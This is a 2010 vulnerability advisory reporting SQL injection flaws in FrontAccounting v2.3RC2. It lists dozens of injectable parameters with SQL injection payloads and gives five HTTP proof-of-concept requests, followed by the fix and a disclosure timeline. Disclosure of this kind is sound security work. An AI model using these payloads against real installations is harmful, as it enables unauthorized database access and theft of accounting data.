Advisory Name: Multiple SQL Injections in Front Accounting

Internal Cybsec Advisory Id: 2010-1003-Multiple SQL Injections in Front Accounting

Vulnerability Class: SQL Injection

Affected Applications: Front Accounting v2.3RC2; other versions may also be affected.

Affected Platforms: Any running Front Accounting v2.3RC2

Local / Remote: Remote

Severity: High – CVSS 6.3 (AV:N/AC:M/Au:S/C:C/I:N/A:N)

Researcher: Juan Manuel Garcia

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:
Multiple vulnerabilities has been discovered in Front Accounting, which can be exploited by attackers to conduct SQL injection attacks.

At least the following parameters are not properly sanitized:

http://xxx.xxx.xxx.xxx/admin/fiscalyears.php
The attacker can set parameter 'from_date's value to '01%2F01%2F2008%27%3B'

http://xxx.xxx.xxx.xxx/dimensions/dimension_entry.php
The attacker can set parameter 'ref's value to '1234%27%3B'
The attacker can set parameter 'trans_no's value to '31%20having%201=1--'

http://xxx.xxx.xxx.xxx/dimensions/view/view_dimension.php
The attacker can set parameter 'trans_no's value to '3';'

http://xxx.xxx.xxx.xxx/gl/bank_account_reconcile.php
The attacker can set parameter 'reconcile_date's value to '1234%27%3B'

http://xxx.xxx.xxx.xxx/gl/inquiry/balance_sheet.php
The attacker can set parameter 'TransToDate's value to '1234%27+having+1%3D1--'

http://xxx.xxx.xxx.xxx/gl/inquiry/bank_inquiry.php
http://xxx.xxx.xxx.xxx/gl/inquiry/gl_account_inquiry.php
http://xxx.xxx.xxx.xxx/gl/inquiry/gl_trial_balance.php
http://xxx.xxx.xxx.xxx/gl/inquiry/profit_loss.php
http://xxx.xxx.xxx.xxx/gl/inquiry/tax_inquiry.php

The attacker can set parameter 'TransToDate's value to '1234%27+having+1%3D1--'
The attacker can set parameter 'TransToDate's value to '1234%27%3B'

http://xxx.xxx.xxx.xxx/gl/inquiry/journal_inquiry.php
The attacker can set parameter 'FromDate's value to '1234%27%3B'
The attacker can set parameter 'Memo's value to '1234%27%3B'
The attacker can set parameter 'Ref's value to '1234%27%3B'
The attacker can set parameter 'ToDate's value to '1234%27%3B'

http://xxx.xxx.xxx.xxx/inventory/inquiry/stock_movements.php
The attacker can set parameter 'AfterDate's value to '1234%27%3B'
The attacker can set parameter 'BeforeDate's value to '1234%27%3B'

http://xxx.xxx.xxx.xxx/manufacturing/work_order_add_finished.php
The attacker can set parameter 'ref's value to '1234%27%3B'
The attacker can set parameter 'selected_id's value to '181+having+1%3D1--'
The attacker can set parameter 'trans_no's value to '181%20having%201=1--'

http://xxx.xxx.xxx.xxx/manufacturing/work_order_issue.php
The attacker can set parameter 'IssueType's value to '1%29+having+1%3D1--'
The attacker can set parameter 'Location's value to 'SH%27%3B'
The attacker can set parameter 'WorkCentre's value to '1%27%3B'
The attacker can set parameter '_focus's value to '_stock_id_edit%27%3B'
The attacker can set parameter '_stock_id_edit's value to '%27%3B'
The attacker can set parameter '_stock_id_update's value to '+%27%3B'
The attacker can set parameter 'date_'s value to '1234%27%3B'
The attacker can set parameter 'memo_'s value to '1234%27%3B'
The attacker can set parameter 'qty's value to '1234%27%3B'
The attacker can set parameter 'ref's value to '1234%27%3B'
The attacker can set parameter 'std_cost's value to '1234%27+having+1%3D1--'
The attacker can set parameter 'stock_id's value to 'Business1%27%3B'
The attacker can set parameter 'trans_no's value to '181%20having%201=1--'

http://xxx.xxx.xxx.xxx/purchasing/po_receive_items.php
The attacker can set parameter 'PONumber's value to '351%20having%201=1--'

http://xxx.xxx.xxx.xxx/purchasing/supplier_credit.php
The attacker can set parameter 'invoice_no's value to '21';'
The attacker can set parameter 'receive_begin's value to '1234%27%3B'
The attacker can set parameter 'receive_end's value to '1234%27+having+1%3D1--'

http://xxx.xxx.xxx.xxx/reporting/prn_redirect.php
The attacker can set parameter 'PARAM_1's value to '361%20having%201=1--'

http://xxx.xxx.xxx.xxx/sales/customer_credit_invoice.php

The attacker can set parameter 'InvoiceNumber's value to '106';'

Other parameters might also be affected.

Some Proof of Concepts:

* http://xxx.xxx.xxx.xxx/dimensions/dimension_entry.php?trans_no=

PoC:

GET /dimensions/dimension_entry.php?trans_no=31**%20having%201=1--** HTTP/1.0
Cookie: FA4649d6f070639b67129c222b2094650d=cbe43b3ad36c2622030f8b1093144916
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: xxx.xxx.xxx.xxx
Referer: http://xxx.xxx.xxx.xxx/dimensions/inquiry/search_dimensions.php

* http://xxx.xxx.xxx.xxx/purchasing/allocations/supplier_allocate.php?trans_no=11&trans_type=

PoC:

GET /purchasing/allocations/supplier_allocate.php?trans_no=11&trans_type=11**%20having%201=1--** HTTP/1.0
Cookie: FA4649d6f070639b67129c222b2094650d=2aa6f7cc954528a151a5f5d6c658f418
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: xxx.xxx.xxx.xxx
Referer: http://xxx.xxx.xxx.xxx/purchasing/allocations/supplier_allocation_main.php

* http://xxx.xxx.xxx.xxx/purchasing/po_receive_items.php?PONumber=

PoC:

GET /purchasing/po_receive_items.php?PONumber=351**%20having%201=1--** HTTP/1.0
Cookie: FA4649d6f070639b67129c222b2094650d=2aa6f7cc954528a151a5f5d6c658f418
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: xxx.xxx.xxx.xxx
Referer: http://xxx.xxx.xxx.xxx/purchasing/inquiry/po_search.php

* http://xxx.xxx.xxx.xxx/purchasing/supplier_credit.php?New=1&invoice_no=

PoC:

GET /purchasing/supplier_credit.php?New=1&invoice_no=21**';** HTTP/1.0
Cookie: FA4649d6f070639b67129c222b2094650d=2aa6f7cc954528a151a5f5d6c658f418
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: xxx.xxx.xxx.xxx
Referer: http://xxx.xxx.xxx.xxx/purchasing/inquiry/supplier_inquiry.php

* http://xxx.xxx.xxx.xxx/reporting/prn_redirect.php?PARAM_0=36&PARAM_1=3

PoC:

GET /reporting/prn_redirect.php?PARAM_0=36&PARAM_1=361**%20having%201=1--**
&PARAM_2=&PARAM_3=0&PARAM_4=&REP_ID=111 HTTP/1.0
Cookie: FA4649d6f070639b67129c222b2094650d=a3101d91a3ae6ede3e0ab57f90c03b79
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: xxx.xxx.xxx.xxx
Referer: http://xxx.xxx.xxx.xxx/sales/inquiry/sales_orders_view.php?type=32

Impact:
An attacker can execute arbitrary SQL queries that would allow him to gain unauthorized access to the database, application or server.

Solution:
Upgrade to FrontAccounting v2.3RC3

Vendor Response:

2010-10-12 – Vulnerability was identified

2010-10-13 – Vendor contacted

10/16/2010 Vendor confirmed vulnerability

10/19/2010 Vendor says that the bug will we fixed in FrontAccounting v2.3RC3

10/29/2010 Vulnerability was released

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at

jmgarcia <at> cybsec <dot> com

About CYBSEC S.A. Security Systems

Since 1996, **CYBSEC** is engaged exclusively in rendering professional services specialized in Information Security. Their area of services covers Latin America, Spain and over 250 customers are a proof of their professional life.

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other software and/or hardware provider companies.

Our services are strictly focused on Information Security, protecting our clients from emerging security threats, maintaining their IT deployments available, safe, and reliable.

Beyond professional services, CYBSEC is continuously researching new defense and attack techniques and contributing with the security community with high quality information exchange.

For more information, please visit www.cybsec.com